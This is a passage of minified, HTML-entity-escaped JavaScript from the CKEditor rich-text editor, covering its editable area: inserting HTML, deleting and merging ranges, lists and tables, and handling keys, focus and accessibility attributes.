1);c.table.detectPurge(d);d.bookmark=a.createBookmark();delete d.range;var f=this.editor.createRange();f.moveToPosition(d.bookmark.startNode,CKEDITOR.POSITION_BEFORE_START);d.targetBookmark=f.createBookmark();c.list.detectMerge(d,this);c.table.detectRanges(d,this);c.block.detectMerge(d,this);d.tableContentsRanges?(c.table.deleteRanges(d),a.moveToBookmark(d.bookmark),d.range=a):(a.moveToBookmark(d.bookmark),d.range=a,a.extractContents(c.detectExtractMerge(d)));a.moveToBookmark(d.targetBookmark);a.optimize();
c.fixUneditableRangePosition(a);c.list.merge(d,this);c.table.purge(d,this);c.block.merge(d,this);if(b){c=a.startPath();if(d=a.checkStartOfBlock()&amp;&amp;a.checkEndOfBlock()&amp;&amp;c.block&amp;&amp;!a.root.equals(c.block)){a:{var d=c.block.getElementsByTag(&quot;span&quot;),f=0,t;if(d)for(;t=d.getItem(f++);)if(!x(t)){d=!0;break a}d=!1}d=!d}d&amp;&amp;(a.moveToPosition(c.block,CKEDITOR.POSITION_BEFORE_START),c.block.remove())}else c.autoParagraph(this.editor,a),w(a.startContainer)&amp;&amp;a.startContainer.appendBogus();a.startContainer.mergeSiblings();
return e},setup:function(){var a=this.editor;this.attachListener(a,&quot;beforeGetData&quot;,function(){var b=this.getData();this.is(&quot;textarea&quot;)||!1!==a.config.ignoreEmptyParagraph&amp;&amp;(b=b.replace(F,function(a,b){return b}));a.setData(b,null,1)},this);this.attachListener(a,&quot;getSnapshot&quot;,function(a){a.data=this.getData(1)},this);this.attachListener(a,&quot;afterSetData&quot;,function(){this.setData(a.getData(1))},this);this.attachListener(a,&quot;loadSnapshot&quot;,function(a){this.setData(a.data,1)},this);this.attachListener(a,
&quot;beforeFocus&quot;,function(){var b=a.getSelection();(b=b&amp;&amp;b.getNative())&amp;&amp;&quot;Control&quot;==b.type||this.focus()},this);this.attachListener(a,&quot;insertHtml&quot;,function(a){this.insertHtml(a.data.dataValue,a.data.mode,a.data.range)},this);this.attachListener(a,&quot;insertElement&quot;,function(a){this.insertElement(a.data)},this);this.attachListener(a,&quot;insertText&quot;,function(a){this.insertText(a.data)},this);this.setReadOnly(a.readOnly);this.attachClass(&quot;cke_editable&quot;);a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?this.attachClass(&quot;cke_editable_inline&quot;):
a.elementMode!=CKEDITOR.ELEMENT_MODE_REPLACE&amp;&amp;a.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO||this.attachClass(&quot;cke_editable_themed&quot;);this.attachClass(&quot;cke_contents_&quot;+a.config.contentsLangDirection);a.keystrokeHandler.blockedKeystrokes[8]=+a.readOnly;a.keystrokeHandler.attach(this);this.on(&quot;blur&quot;,function(){this.hasFocus=!1},null,null,-1);this.on(&quot;focus&quot;,function(){this.hasFocus=!0},null,null,-1);if(CKEDITOR.env.webkit)this.on(&quot;scroll&quot;,function(){a._.previousScrollTop=a.editable().$.scrollTop},null,
null,-1);if(CKEDITOR.env.edge&amp;&amp;14&lt;CKEDITOR.env.version){var d=function(){var b=a.editable();null!=a._.previousScrollTop&amp;&amp;b.getDocument().equals(CKEDITOR.document)&amp;&amp;(b.$.scrollTop=a._.previousScrollTop,a._.previousScrollTop=null,this.removeListener(&quot;scroll&quot;,d))};this.on(&quot;scroll&quot;,d)}a.focusManager.add(this);this.equals(CKEDITOR.document.getActive())&amp;&amp;(this.hasFocus=!0,a.once(&quot;contentDom&quot;,function(){a.focusManager.focus(this)},this));this.isInline()&amp;&amp;this.changeAttr(&quot;tabindex&quot;,a.tabIndex);if(!this.is(&quot;textarea&quot;)){a.document=
this.getDocument();a.window=this.getWindow();var f=a.document;this.changeAttr(&quot;spellcheck&quot;,!a.config.disableNativeSpellChecker);var h=a.config.contentsLangDirection;this.getDirection(1)!=h&amp;&amp;this.changeAttr(&quot;dir&quot;,h);var k=CKEDITOR.getCss();if(k){var h=f.getHead(),m=h.getCustomData(&quot;stylesheet&quot;);m?k!=m.getText()&amp;&amp;(CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?m.$.styleSheet.cssText=k:m.setText(k)):(k=f.appendStyleText(k),k=new CKEDITOR.dom.element(k.ownerNode||k.owningElement),h.setCustomData(&quot;stylesheet&quot;,
k),k.data(&quot;cke-temp&quot;,1))}h=f.getCustomData(&quot;stylesheet_ref&quot;)||0;f.setCustomData(&quot;stylesheet_ref&quot;,h+1);this.setCustomData(&quot;cke_includeReadonly&quot;,!a.config.disableReadonlyStyling);this.attachListener(this,&quot;click&quot;,function(a){a=a.data;var b=(new CKEDITOR.dom.elementPath(a.getTarget(),this)).contains(&quot;a&quot;);b&amp;&amp;2!=a.$.button&amp;&amp;b.isReadOnly()&amp;&amp;a.preventDefault()});var t={8:1,46:1};this.attachListener(a,&quot;key&quot;,function(b){if(a.readOnly)return!0;var c=b.data.domEvent.getKey(),d;b=a.getSelection();if(0!==b.getRanges().length){if(c in
t){var f,k=b.getRanges()[0],l=k.startPath(),h,B,A,c=8==c;CKEDITOR.env.ie&amp;&amp;11&gt;CKEDITOR.env.version&amp;&amp;(f=b.getSelectedElement())||(f=g(b))?(a.fire(&quot;saveSnapshot&quot;),k.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START),f.remove(),k.select(),a.fire(&quot;saveSnapshot&quot;),d=1):k.collapsed&amp;&amp;((h=l.block)&amp;&amp;(A=h[c?&quot;getPrevious&quot;:&quot;getNext&quot;](e))&amp;&amp;A.type==CKEDITOR.NODE_ELEMENT&amp;&amp;A.is(&quot;table&quot;)&amp;&amp;k[c?&quot;checkStartOfBlock&quot;:&quot;checkEndOfBlock&quot;]()?(a.fire(&quot;saveSnapshot&quot;),k[c?&quot;checkEndOfBlock&quot;:&quot;checkStartOfBlock&quot;]()&amp;&amp;h.remove(),k[&quot;moveToElementEdit&quot;+
(c?&quot;End&quot;:&quot;Start&quot;)](A),k.select(),a.fire(&quot;saveSnapshot&quot;),d=1):l.blockLimit&amp;&amp;l.blockLimit.is(&quot;td&quot;)&amp;&amp;(B=l.blockLimit.getAscendant(&quot;table&quot;))&amp;&amp;k.checkBoundaryOfElement(B,c?CKEDITOR.START:CKEDITOR.END)&amp;&amp;(A=B[c?&quot;getPrevious&quot;:&quot;getNext&quot;](e))?(a.fire(&quot;saveSnapshot&quot;),k[&quot;moveToElementEdit&quot;+(c?&quot;End&quot;:&quot;Start&quot;)](A),k.checkStartOfBlock()&amp;&amp;k.checkEndOfBlock()?A.remove():k.select(),a.fire(&quot;saveSnapshot&quot;),d=1):(B=l.contains([&quot;td&quot;,&quot;th&quot;,&quot;caption&quot;]))&amp;&amp;k.checkBoundaryOfElement(B,c?CKEDITOR.START:CKEDITOR.END)&amp;&amp;(d=1))}return!d}});
a.blockless&amp;&amp;CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.needsBrFiller&amp;&amp;this.attachListener(this,&quot;keyup&quot;,function(b){b.data.getKeystroke()in t&amp;&amp;!this.getFirst(c)&amp;&amp;(this.appendBogus(),b=a.createRange(),b.moveToPosition(this,CKEDITOR.POSITION_AFTER_START),b.select())});this.attachListener(this,&quot;dblclick&quot;,function(b){if(a.readOnly)return!1;b={element:b.data.getTarget()};a.fire(&quot;doubleclick&quot;,b)});CKEDITOR.env.ie&amp;&amp;this.attachListener(this,&quot;click&quot;,b);CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge||this.attachListener(this,&quot;mousedown&quot;,
function(b){var c=b.data.getTarget();c.is(&quot;img&quot;,&quot;hr&quot;,&quot;input&quot;,&quot;textarea&quot;,&quot;select&quot;)&amp;&amp;!c.isReadOnly()&amp;&amp;(a.getSelection().selectElement(c),c.is(&quot;input&quot;,&quot;textarea&quot;,&quot;select&quot;)&amp;&amp;b.data.preventDefault())});CKEDITOR.env.edge&amp;&amp;this.attachListener(this,&quot;mouseup&quot;,function(b){(b=b.data.getTarget())&amp;&amp;b.is(&quot;img&quot;)&amp;&amp;!b.isReadOnly()&amp;&amp;a.getSelection().selectElement(b)});CKEDITOR.env.gecko&amp;&amp;this.attachListener(this,&quot;mouseup&quot;,function(b){if(2==b.data.$.button&amp;&amp;(b=b.data.getTarget(),!b.getAscendant(&quot;table&quot;)&amp;&amp;!b.getOuterHtml().replace(F,
&quot;&quot;))){var c=a.createRange();c.moveToElementEditStart(b);c.select(!0)}});CKEDITOR.env.webkit&amp;&amp;(this.attachListener(this,&quot;click&quot;,function(a){a.data.getTarget().is(&quot;input&quot;,&quot;select&quot;)&amp;&amp;a.data.preventDefault()}),this.attachListener(this,&quot;mouseup&quot;,function(a){a.data.getTarget().is(&quot;input&quot;,&quot;textarea&quot;)&amp;&amp;a.data.preventDefault()}));CKEDITOR.env.webkit&amp;&amp;this.attachListener(a,&quot;key&quot;,function(b){if(a.readOnly)return!0;var c=b.data.domEvent.getKey();if(c in t&amp;&amp;(b=a.getSelection(),0!==b.getRanges().length)){var c=
8==c,d=b.getRanges()[0];b=d.startPath();if(d.collapsed)a:{var e=b.block;if(e&amp;&amp;d[c?&quot;checkStartOfBlock&quot;:&quot;checkEndOfBlock&quot;]()&amp;&amp;d.moveToClosestEditablePosition(e,!c)&amp;&amp;d.collapsed){if(d.startContainer.type==CKEDITOR.NODE_ELEMENT){var f=d.startContainer.getChild(d.startOffset-(c?1:0));if(f&amp;&amp;f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.is(&quot;hr&quot;)){a.fire(&quot;saveSnapshot&quot;);f.remove();b=!0;break a}}d=d.startPath().block;if(!d||d&amp;&amp;d.contains(e))b=void 0;else{a.fire(&quot;saveSnapshot&quot;);var l;(l=(c?d:e).getBogus())&amp;&amp;l.remove();
l=a.getSelection();f=l.createBookmarks();(c?e:d).moveChildren(c?d:e,!1);b.lastElement.mergeSiblings();q(e,d,!c);l.selectBookmarks(f);b=!0}}else b=!1}else c=d,l=b.block,d=c.endPath().block,l&amp;&amp;d&amp;&amp;!l.equals(d)?(a.fire(&quot;saveSnapshot&quot;),(e=l.getBogus())&amp;&amp;e.remove(),c.enlarge(CKEDITOR.ENLARGE_INLINE),c.deleteContents(),d.getParent()&amp;&amp;(d.moveChildren(l,!1),b.lastElement.mergeSiblings(),q(l,d,!0)),c=a.getSelection().getRanges()[0],c.collapse(1),c.optimize(),&quot;&quot;===c.startContainer.getHtml()&amp;&amp;c.startContainer.appendBogus(),
c.select(),b=!0):b=!1;if(!b)return;a.getSelection().scrollIntoView();a.fire(&quot;saveSnapshot&quot;);return!1}},this,null,100)}}},_:{detach:function(){this.editor.setData(this.editor.getData(),0,1);this.clearListeners();this.restoreAttrs();var a;if(a=this.removeCustomData(&quot;classes&quot;))for(;a.length;)this.removeClass(a.pop());if(!this.is(&quot;textarea&quot;)){a=this.getDocument();var b=a.getHead();if(b.getCustomData(&quot;stylesheet&quot;)){var c=a.getCustomData(&quot;stylesheet_ref&quot;);--c?a.setCustomData(&quot;stylesheet_ref&quot;,c):(a.removeCustomData(&quot;stylesheet_ref&quot;),
b.removeCustomData(&quot;stylesheet&quot;).remove())}}this.editor.fire(&quot;contentDomUnload&quot;);delete this.editor}}});CKEDITOR.editor.prototype.editable=function(a){var b=this._.editable;if(b&amp;&amp;a)return 0;arguments.length&amp;&amp;(b=this._.editable=a?a instanceof CKEDITOR.editable?a:new CKEDITOR.editable(this,a):(b&amp;&amp;b.detach(),null));return b};CKEDITOR.on(&quot;instanceLoaded&quot;,function(b){var c=b.editor;c.on(&quot;insertElement&quot;,function(a){a=a.data;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(a.is(&quot;input&quot;)||a.is(&quot;textarea&quot;))&amp;&amp;(&quot;false&quot;!=a.getAttribute(&quot;contentEditable&quot;)&amp;&amp;
a.data(&quot;cke-editable&quot;,a.hasAttribute(&quot;contenteditable&quot;)?&quot;true&quot;:&quot;1&quot;),a.setAttribute(&quot;contentEditable&quot;,!1))});c.on(&quot;selectionChange&quot;,function(b){if(!c.readOnly){var d=c.getSelection();d&amp;&amp;!d.isLocked&amp;&amp;(d=c.checkDirty(),c.fire(&quot;lockSnapshot&quot;),a(b),c.fire(&quot;unlockSnapshot&quot;),!d&amp;&amp;c.resetDirty())}})});CKEDITOR.on(&quot;instanceCreated&quot;,function(a){var b=a.editor;b.on(&quot;mode&quot;,function(){var a=b.editable();if(a&amp;&amp;a.isInline()){var c=b.title;a.changeAttr(&quot;role&quot;,&quot;textbox&quot;);a.changeAttr(&quot;aria-multiline&quot;,&quot;true&quot;);a.changeAttr(&quot;aria-label&quot;,
c);c&amp;&amp;a.changeAttr(&quot;title&quot;,c);var d=b.fire(&quot;ariaEditorHelpLabel&quot;,{}).label;if(d&amp;&amp;(c=this.ui.space(this.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?&quot;top&quot;:&quot;contents&quot;))){var e=CKEDITOR.tools.getNextId(),d=CKEDITOR.dom.element.createFromHtml(&#039;\x3cspan id\x3d&quot;&#039;+e+&#039;&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;+d+&quot;\x3c/span\x3e&quot;);c.append(d);a.changeAttr(&quot;aria-describedby&quot;,e)}}})});CKEDITOR.addCss(&quot;.cke_editable{cursor:text}.cke_editable img,.cke_editable input,.cke_editable textarea{cursor:default}&quot;);e=CKEDITOR.dom.walker.whitespaces(!0);
x=CKEDITOR.dom.walker.bookmark(!1,!0);w=CKEDITOR.dom.walker.empty();z=CKEDITOR.dom.walker.bogus();F=/(^|&lt;body\b[^&gt;]*&gt;)\s*&lt;(p|div|address|h\d|center|pre)[^&gt;]*&gt;\s*(?:&lt;br[^&gt;]*&gt;|&amp;nbsp;|\u00A0|&amp;#160;)?\s*(:?&lt;\/\2&gt;)?\s*(?=$|&lt;\/body&gt;)/gi;v=function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT}function b(c,d){var e,f,g,t,k=[],y=d.range.startContainer;e=d.range.startPath();for(var y=E[y.getName()],h=0,I=c.getChildren(),m=I.count(),q=-1,p=-1,P=0,D=e.contains(E.$list);h&lt;m;++h)e=I.getItem(h),a(e)?(g=
e.getName(),D&amp;&amp;g in CKEDITOR.dtd.$list?k=k.concat(b(e,d)):(t=!!y[g],&quot;br&quot;!=g||!e.data(&quot;cke-eol&quot;)||h&amp;&amp;h!=m-1||(P=(f=h?k[h-1].node:I.getItem(h+1))&amp;&amp;(!a(f)||!f.is(&quot;br&quot;)),f=f&amp;&amp;a(f)&amp;&amp;E.$block[f.getName()]),-1!=q||t||(q=h),t||(p=h),k.push({isElement:1,isLineBreak:P,isBlock:e.isBlockBoundary(),hasBlockSibling:f,node:e,name:g,allowed:t}),f=P=0)):k.push({isElement:0,node:e,allowed:1});-1&lt;q&amp;&amp;(k[q].firstNotAllowed=1);-1&lt;p&amp;&amp;(k[p].lastNotAllowed=1);return k}function d(b,c){var e=[],f=b.getChildren(),g=f.count(),
t,k=0,y=E[c],h=!b.is(E.$inline)||b.is(&quot;br&quot;);for(h&amp;&amp;e.push(&quot; &quot;);k&lt;g;k++)t=f.getItem(k),a(t)&amp;&amp;!t.is(y)?e=e.concat(d(t,c)):e.push(t);h&amp;&amp;e.push(&quot; &quot;);return e}function e(b){return a(b.startContainer)&amp;&amp;b.startContainer.getChild(b.startOffset-1)}function f(b){return b&amp;&amp;a(b)&amp;&amp;(b.is(E.$removeEmpty)||b.is(&quot;a&quot;)&amp;&amp;!b.isBlockBoundary())}function g(b,c,d,e){var f=b.clone(),t,k;f.setEndAt(c,CKEDITOR.POSITION_BEFORE_END);(t=(new CKEDITOR.dom.walker(f)).next())&amp;&amp;a(t)&amp;&amp;y[t.getName()]&amp;&amp;(k=t.getPrevious())&amp;&amp;a(k)&amp;&amp;!k.getParent().equals(b.startContainer)&amp;&amp;
d.contains(k)&amp;&amp;e.contains(t)&amp;&amp;t.isIdentical(k)&amp;&amp;(t.moveChildren(k),t.remove(),g(b,c,d,e))}function t(b,c){function d(b,c){if(c.isBlock&amp;&amp;c.isElement&amp;&amp;!c.node.is(&quot;br&quot;)&amp;&amp;a(b)&amp;&amp;b.is(&quot;br&quot;))return b.remove(),1}var e=c.endContainer.getChild(c.endOffset),f=c.endContainer.getChild(c.endOffset-1);e&amp;&amp;d(e,b[b.length-1]);f&amp;&amp;d(f,b[0])&amp;&amp;(c.setEnd(c.endContainer,c.endOffset-1),c.collapse())}var E=CKEDITOR.dtd,y={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ul:1,ol:1,li:1,pre:1,dl:1,blockquote:1},I={p:1,div:1,h1:1,h2:1,
h3:1,h4:1,h5:1,h6:1},m=CKEDITOR.tools.extend({},E.$inline);delete m.br;return function(y,l,K,B){var A=y.editor,J=!1;&quot;unfiltered_html&quot;==l&amp;&amp;(l=&quot;html&quot;,J=!0);if(!B.checkReadOnly()){var G=(new CKEDITOR.dom.elementPath(B.startContainer,B.root)).blockLimit||B.root;y={type:l,dontFilter:J,editable:y,editor:A,range:B,blockLimit:G,mergeCandidates:[],zombies:[]};l=y.range;B=y.mergeCandidates;var q,p;&quot;text&quot;==y.type&amp;&amp;l.shrink(CKEDITOR.SHRINK_ELEMENT,!0,!1)&amp;&amp;(q=CKEDITOR.dom.element.createFromHtml(&quot;\x3cspan\x3e\x26nbsp;\x3c/span\x3e&quot;,
l.document),l.insertNode(q),l.setStartAfter(q));J=new CKEDITOR.dom.elementPath(l.startContainer);y.endPath=G=new CKEDITOR.dom.elementPath(l.endContainer);if(!l.collapsed){var A=G.block||G.blockLimit,w=l.getCommonAncestor();A&amp;&amp;!A.equals(w)&amp;&amp;!A.contains(w)&amp;&amp;l.checkEndOfBlock()&amp;&amp;y.zombies.push(A);l.deleteContents()}for(;(p=e(l))&amp;&amp;a(p)&amp;&amp;p.isBlockBoundary()&amp;&amp;J.contains(p);)l.moveToPosition(p,CKEDITOR.POSITION_BEFORE_END);g(l,y.blockLimit,J,G);q&amp;&amp;(l.setEndBefore(q),l.collapse(),q.remove());q=l.startPath();
if(A=q.contains(f,!1,1))l.splitElement(A),y.inlineStylesRoot=A,y.inlineStylesPeak=q.lastElement;q=l.createBookmark();(A=q.startNode.getPrevious(c))&amp;&amp;a(A)&amp;&amp;f(A)&amp;&amp;B.push(A);(A=q.startNode.getNext(c))&amp;&amp;a(A)&amp;&amp;f(A)&amp;&amp;B.push(A);for(A=q.startNode;(A=A.getParent())&amp;&amp;f(A);)B.push(A);l.moveToBookmark(q);if(q=K){q=y.range;if(&quot;text&quot;==y.type&amp;&amp;y.inlineStylesRoot){p=y.inlineStylesPeak;l=p.getDocument().createText(&quot;{cke-peak}&quot;);for(B=y.inlineStylesRoot.getParent();!p.equals(B);)l=l.appendTo(p.clone()),p=p.getParent();
K=l.getOuterHtml().split(&quot;{cke-peak}&quot;).join(K)}p=y.blockLimit.getName();if(/^\s+|\s+$/.test(K)&amp;&amp;&quot;span&quot;in CKEDITOR.dtd[p]){var v=&#039;\x3cspan data-cke-marker\x3d&quot;1&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;;K=v+K+v}K=y.editor.dataProcessor.toHtml(K,{context:null,fixForBody:!1,protectedWhitespaces:!!v,dontFilter:y.dontFilter,filter:y.editor.activeFilter,enterMode:y.editor.activeEnterMode});p=q.document.createElement(&quot;body&quot;);p.setHtml(K);v&amp;&amp;(p.getFirst().remove(),p.getLast().remove());if((v=q.startPath().block)&amp;&amp;(1!=
v.getChildCount()||!v.getBogus()))a:{var x;if(1==p.getChildCount()&amp;&amp;a(x=p.getFirst())&amp;&amp;x.is(I)&amp;&amp;!x.hasAttribute(&quot;contenteditable&quot;)){v=x.getElementsByTag(&quot;*&quot;);q=0;for(B=v.count();q&lt;B;q++)if(l=v.getItem(q),!l.is(m))break a;x.moveChildren(x.getParent(1));x.remove()}}y.dataWrapper=p;q=K}if(q){x=y.range;q=x.document;var u;p=y.blockLimit;B=0;var z,v=[],F,T;K=A=0;var H,M;l=x.startContainer;var J=y.endPath.elements[0],W,G=J.getPosition(l),w=!!J.getCommonAncestor(l)&amp;&amp;G!=CKEDITOR.POSITION_IDENTICAL&amp;&amp;!(G&amp;CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_IS_CONTAINED);l=b(y.dataWrapper,y);for(t(l,x);B&lt;l.length;B++){G=l[B];if(u=G.isLineBreak){u=x;H=p;var S=void 0,Y=void 0;G.hasBlockSibling?u=1:(S=u.startContainer.getAscendant(E.$block,1))&amp;&amp;S.is({div:1,p:1})?(Y=S.getPosition(H),Y==CKEDITOR.POSITION_IDENTICAL||Y==CKEDITOR.POSITION_CONTAINS?u=0:(H=u.splitElement(S),u.moveToPosition(H,CKEDITOR.POSITION_AFTER_START),u=1)):u=0}if(u)K=0&lt;B;else{u=x.startPath();!G.isBlock&amp;&amp;k(y.editor,u.block,u.blockLimit)&amp;&amp;(T=h(y.editor))&amp;&amp;(T=q.createElement(T),
T.appendBogus(),x.insertNode(T),CKEDITOR.env.needsBrFiller&amp;&amp;(z=T.getBogus())&amp;&amp;z.remove(),x.moveToPosition(T,CKEDITOR.POSITION_BEFORE_END));if((u=x.startPath().block)&amp;&amp;!u.equals(F)){if(z=u.getBogus())z.remove(),v.push(u);F=u}G.firstNotAllowed&amp;&amp;(A=1);if(A&amp;&amp;G.isElement){u=x.startContainer;for(H=null;u&amp;&amp;!E[u.getName()][G.name];){if(u.equals(p)){u=null;break}H=u;u=u.getParent()}if(u)H&amp;&amp;(M=x.splitElement(H),y.zombies.push(M),y.zombies.push(H));else{H=p.getName();W=!B;u=B==l.length-1;H=d(G.node,H);for(var S=
[],Y=H.length,Z=0,ba=void 0,ca=0,U=-1;Z&lt;Y;Z++)ba=H[Z],&quot; &quot;==ba?(ca||W&amp;&amp;!Z||(S.push(new CKEDITOR.dom.text(&quot; &quot;)),U=S.length),ca=1):(S.push(ba),ca=0);u&amp;&amp;U==S.length&amp;&amp;S.pop();W=S}}if(W){for(;u=W.pop();)x.insertNode(u);W=0}else x.insertNode(G.node);G.lastNotAllowed&amp;&amp;B&lt;l.length-1&amp;&amp;((M=w?J:M)&amp;&amp;x.setEndAt(M,CKEDITOR.POSITION_AFTER_START),A=0);x.collapse()}}1!=l.length?z=!1:(z=l[0],z=z.isElement&amp;&amp;&quot;false&quot;==z.node.getAttribute(&quot;contenteditable&quot;));z&amp;&amp;(K=!0,u=l[0].node,x.setStartAt(u,CKEDITOR.POSITION_BEFORE_START),
x.setEndAt(u,CKEDITOR.POSITION_AFTER_END));y.dontMoveCaret=K;y.bogusNeededBlocks=v}z=y.range;var R;M=y.bogusNeededBlocks;for(W=z.createBookmark();F=y.zombies.pop();)F.getParent()&amp;&amp;(T=z.clone(),T.moveToElementEditStart(F),T.removeEmptyBlocksAtEnd());if(M)for(;F=M.pop();)CKEDITOR.env.needsBrFiller?F.appendBogus():F.append(z.document.createText(&quot; &quot;));for(;F=y.mergeCandidates.pop();)F.mergeSiblings();z.moveToBookmark(W);if(!y.dontMoveCaret){for(F=e(z);F&amp;&amp;a(F)&amp;&amp;!F.is(E.$empty);){if(F.isBlockBoundary())z.moveToPosition(F,
CKEDITOR.POSITION_BEFORE_END);else{if(f(F)&amp;&amp;F.getHtml().match(/(\s|&amp;nbsp;)$/g)){R=null;break}R=z.clone();R.moveToPosition(F,CKEDITOR.POSITION_BEFORE_END)}F=F.getLast(c)}R&amp;&amp;z.moveToRange(R)}}}}();m=function(){function a(b){b=new CKEDITOR.dom.walker(b);b.guard=function(a,b){if(b)return!1;if(a.type==CKEDITOR.NODE_ELEMENT)return a.is(CKEDITOR.dtd.$tableContent)};b.evaluator=function(a){return a.type==CKEDITOR.NODE_ELEMENT};return b}function b(a,c,d){c=a.getDocument().createElement(c);a.append(c,d);return c}
function c(a){var b=a.count(),d;for(b;0&lt;b--;)d=a.getItem(b),CKEDITOR.tools.trim(d.getHtml())||(d.appendBogus(),CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;d.getChildCount()&amp;&amp;d.getFirst().remove())}return function(d){var e=d.startContainer,f=e.getAscendant(&quot;table&quot;,1),t=!1;c(f.getElementsByTag(&quot;td&quot;));c(f.getElementsByTag(&quot;th&quot;));f=d.clone();f.setStart(e,0);f=a(f).lastBackward();f||(f=d.clone(),f.setEndAt(e,CKEDITOR.POSITION_BEFORE_END),f=a(f).lastForward(),t=!0);f||(f=e);f.is(&quot;table&quot;)?(d.setStartAt(f,CKEDITOR.POSITION_BEFORE_START),
d.collapse(!0),f.remove()):(f.is({tbody:1,thead:1,tfoot:1})&amp;&amp;(f=b(f,&quot;tr&quot;,t)),f.is(&quot;tr&quot;)&amp;&amp;(f=b(f,f.getParent().is(&quot;thead&quot;)?&quot;th&quot;:&quot;td&quot;,t)),(e=f.getBogus())&amp;&amp;e.remove(),d.moveToPosition(f,t?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END))}}();M=function(){function a(b){b=new CKEDITOR.dom.walker(b);b.guard=function(a,b){if(b)return!1;if(a.type==CKEDITOR.NODE_ELEMENT)return a.is(CKEDITOR.dtd.$list)||a.is(CKEDITOR.dtd.$listItem)};b.evaluator=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
a.is(CKEDITOR.dtd.$listItem)};return b}return function(b){var c=b.startContainer,d=!1,e;e=b.clone();e.setStart(c,0);e=a(e).lastBackward();e||(e=b.clone(),e.setEndAt(c,CKEDITOR.POSITION_BEFORE_END),e=a(e).lastForward(),d=!0);e||(e=c);e.is(CKEDITOR.dtd.$list)?(b.setStartAt(e,CKEDITOR.POSITION_BEFORE_START),b.collapse(!0),e.remove()):((c=e.getBogus())&amp;&amp;c.remove(),b.moveToPosition(e,d?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END),b.select())}}();u={eol:{detect:function(a,b){var c=a.range,
d=c.clone(),e=c.clone(),f=new CKEDITOR.dom.elementPath(c.startContainer,b),t=new CKEDITOR.dom.elementPath(c.endContainer,b);d.collapse(1);e.collapse();f.block&amp;&amp;d.checkBoundaryOfElement(f.block,CKEDITOR.END)&amp;&amp;(c.setStartAfter(f.block),a.prependEolBr=1);t.block&amp;&amp;e.checkBoundaryOfElement(t.block,CKEDITOR.START)&amp;&amp;(c.setEndBefore(t.block),a.appendEolBr=1)},fix:function(a,b){var c=b.getDocument(),d;a.appendEolBr&amp;&amp;(d=this.createEolBr(c),a.fragment.append(d));!a.prependEolBr||d&amp;&amp;!d.getPrevious()||a.fragment.append(this.createEolBr(c),
1)},createEolBr:function(a){return a.createElement(&quot;br&quot;,{attributes:{&quot;data-cke-eol&quot;:1}})}},bogus:{exclude:function(a){var b=a.range.getBoundaryNodes(),c=b.startNode,b=b.endNode;!b||!z(b)||c&amp;&amp;c.equals(b)||a.range.setEndBefore(b)}},tree:{rebuild:function(a,b){var c=a.range,d=c.getCommonAncestor(),e=new CKEDITOR.dom.elementPath(d,b),f=new CKEDITOR.dom.elementPath(c.startContainer,b),c=new CKEDITOR.dom.elementPath(c.endContainer,b),t;d.type==CKEDITOR.NODE_TEXT&amp;&amp;(d=d.getParent());if(e.blockLimit.is({tr:1,
table:1})){var g=e.contains(&quot;table&quot;).getParent();t=function(a){return!a.equals(g)}}else if(e.block&amp;&amp;e.block.is(CKEDITOR.dtd.$listItem)&amp;&amp;(f=f.contains(CKEDITOR.dtd.$list),c=c.contains(CKEDITOR.dtd.$list),!f.equals(c))){var y=e.contains(CKEDITOR.dtd.$list).getParent();t=function(a){return!a.equals(y)}}t||(t=function(a){return!a.equals(e.block)&amp;&amp;!a.equals(e.blockLimit)});this.rebuildFragment(a,b,d,t)},rebuildFragment:function(a,b,c,d){for(var e;c&amp;&amp;!c.equals(b)&amp;&amp;d(c);)e=c.clone(0,1),a.fragment.appendTo(e),
a.fragment=e,c=c.getParent()}},cell:{shrink:function(a){a=a.range;var b=a.startContainer,c=a.endContainer,d=a.startOffset,e=a.endOffset;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.equals(c)&amp;&amp;b.is(&quot;tr&quot;)&amp;&amp;++d==e&amp;&amp;a.shrink(CKEDITOR.SHRINK_TEXT)}}};H=function(){function a(b,c){var d=b.getParent();if(d.is(CKEDITOR.dtd.$inline))b[c?&quot;insertBefore&quot;:&quot;insertAfter&quot;](d)}function b(c,d,e){a(d);a(e,1);for(var f;f=e.getNext();)f.insertAfter(d),d=f;w(c)&amp;&amp;c.remove()}function c(a,b){var d=new CKEDITOR.dom.range(a);d.setStartAfter(b.startNode);
d.setEndBefore(b.endNode);return d}return{list:{detectMerge:function(a,b){var d=c(b,a.bookmark),e=d.startPath(),f=d.endPath(),g=e.contains(CKEDITOR.dtd.$list),k=f.contains(CKEDITOR.dtd.$list);a.mergeList=g&amp;&amp;k&amp;&amp;g.getParent().equals(k.getParent())&amp;&amp;!g.equals(k);a.mergeListItems=e.block&amp;&amp;f.block&amp;&amp;e.block.is(CKEDITOR.dtd.$listItem)&amp;&amp;f.block.is(CKEDITOR.dtd.$listItem);if(a.mergeList||a.mergeListItems)d=d.clone(),d.setStartBefore(a.bookmark.startNode),d.setEndAfter(a.bookmark.endNode),a.mergeListBookmark=
d.createBookmark()},merge:function(a,c){if(a.mergeListBookmark){var d=a.mergeListBookmark.startNode,e=a.mergeListBookmark.endNode,f=new CKEDITOR.dom.elementPath(d,c),g=new CKEDITOR.dom.elementPath(e,c);if(a.mergeList){var k=f.contains(CKEDITOR.dtd.$list),h=g.contains(CKEDITOR.dtd.$list);k.equals(h)||(h.moveChildren(k),h.remove())}a.mergeListItems&amp;&amp;(f=f.contains(CKEDITOR.dtd.$listItem),g=g.contains(CKEDITOR.dtd.$listItem),f.equals(g)||b(g,d,e));d.remove();e.remove()}}},block:{detectMerge:function(a,
